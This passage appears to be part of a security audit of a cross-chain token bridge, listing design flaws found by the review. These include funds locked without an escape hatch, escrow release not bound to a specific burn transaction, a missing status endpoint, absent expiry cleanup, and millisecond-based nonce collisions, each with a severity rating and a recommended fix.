User creates Allocation of 1000 tokens. Bridge coordinator is offline. Allocation contract exists indefinitely with no escape hatch for the user. User cannot access their tokens. Admin must manually exercise cancellation on the Allocation. If admin is also unavailable or unresponsive, user funds are locked indefinitely with no protocol-level remedy.

High — add expiry to the Allocation contract or provide a user-exercisable CancelAllocation choice that handles the pre-BridgeIn state.

BridgeEscrowHolding stores evmBurnTxHash and evmBurnLogIndex as pre-committed identifiers for the future bridge-out burn event. VerifiedBridgeOut does not verify that the submitted evmBurnTxData corresponds to the evmBurnTxHash stored in the escrow. The cross-chain link between a specific burn tx and a specific escrow is enforced only off-chain by the coordinator's logic.

A compromised coordinator submits a burn tx for user A's escrow to release user B's escrow (provided they share the same escrowContractId binding from Fix 1, which partially blocks this). Without Fix 1, any burn tx can release any escrow. Even with Fix 1, a coordinator that can fabricate valid intent data can use one user's burn to release a different user's escrow of the same amount.

Medium — validate that the evmBurnTxData submitted in VerifiedBridgeOut corresponds to the evmBurnTxHash pre-committed in the BridgeEscrowHolding at creation time.

There is no GET /api/bridge/status/:operationId or equivalent endpoint. A user who initiates a bridge operation cannot check if their operation is pending, confirmed, or failed; query the current phase (waiting for sigs, submitted to Canton, etc.); or determine if manual recovery action is required. The only observable feedback is the SSE stream during the HTTP request.

User initiates bridge-in. Their network connection drops after submitting. They have no way to know if the operation succeeded, failed, or is still in progress. They must guess whether to resubmit (risking double-processing if the original is still in flight) or wait (potentially indefinitely if the operation is permanently failed). Without status visibility, users make incorrect recovery decisions.

Medium — implement GET /api/bridge/status/:operationId endpoint backed by persistent operation journal; expose current phase, sig collection progress, EVM tx hash, and Canton settlement status.

BridgeEscrowHolding.expiresAt is set to now+1h, but there is no maximum end-to-end bridge operation lifetime enforced by the protocol. The ExpireBridgeEscrow background job referenced in code comments is not implemented in the codebase. The reactor checks payload.expiresAt and skips expired operations but no daemon exercises CancelBridgeIn on expired escrows. Without the background job, expired escrows accumulate on Canton permanently and supply parity diverges silently.

Many bridge operations time out simultaneously (e.g., after a coordinator outage). No background job exercises CancelBridgeIn. Expired BridgeEscrowHolding contracts accumulate on Canton ACS indefinitely. The supply parity monitor reports growing divergence (Canton-locked tokens exceed EVM supply). Admin must manually cancel each via /api/admin/recovery/cancel-bridge-in, which does not scale.

Medium — implement ExpireBridgeEscrow background job with alerting; add maximum operation lifetime enforcement with guaranteed cleanup path.

Settlement intent nonces are computed as BigInt(Date.now()) with millisecond resolution. If two bridge-out requests arrive within the same millisecond, both intents have the same nonce. The validator nonce store accepts the first and rejects the second. The second legitimate bridge-out request permanently fails with 'Nonce already signed (replay rejected)' and requires a re-POST with a new nonce — but the burn tx is already spent. The code comment 'monotonically increasing' is also wrong — clock drift or NTP jumps can produce non-monotonic values.

Two users submit bridge-out requests simultaneously. Both requests arrive at the coordinator within the same millisecond. Both nonces are identical (Date.now() resolves to same ms). One gets signed, one is rejected. The rejected user's EVM tokens are burned but their Canton escrow is not released. The re-POST cannot reuse the same (already-spent) burn tx — the operation is permanently stuck.

Low — use SQLite nonce store's nextNonce() method (or similar monotonic counter) instead of Date.now(); eliminates both collision risk and non-monotonic clock drift issues.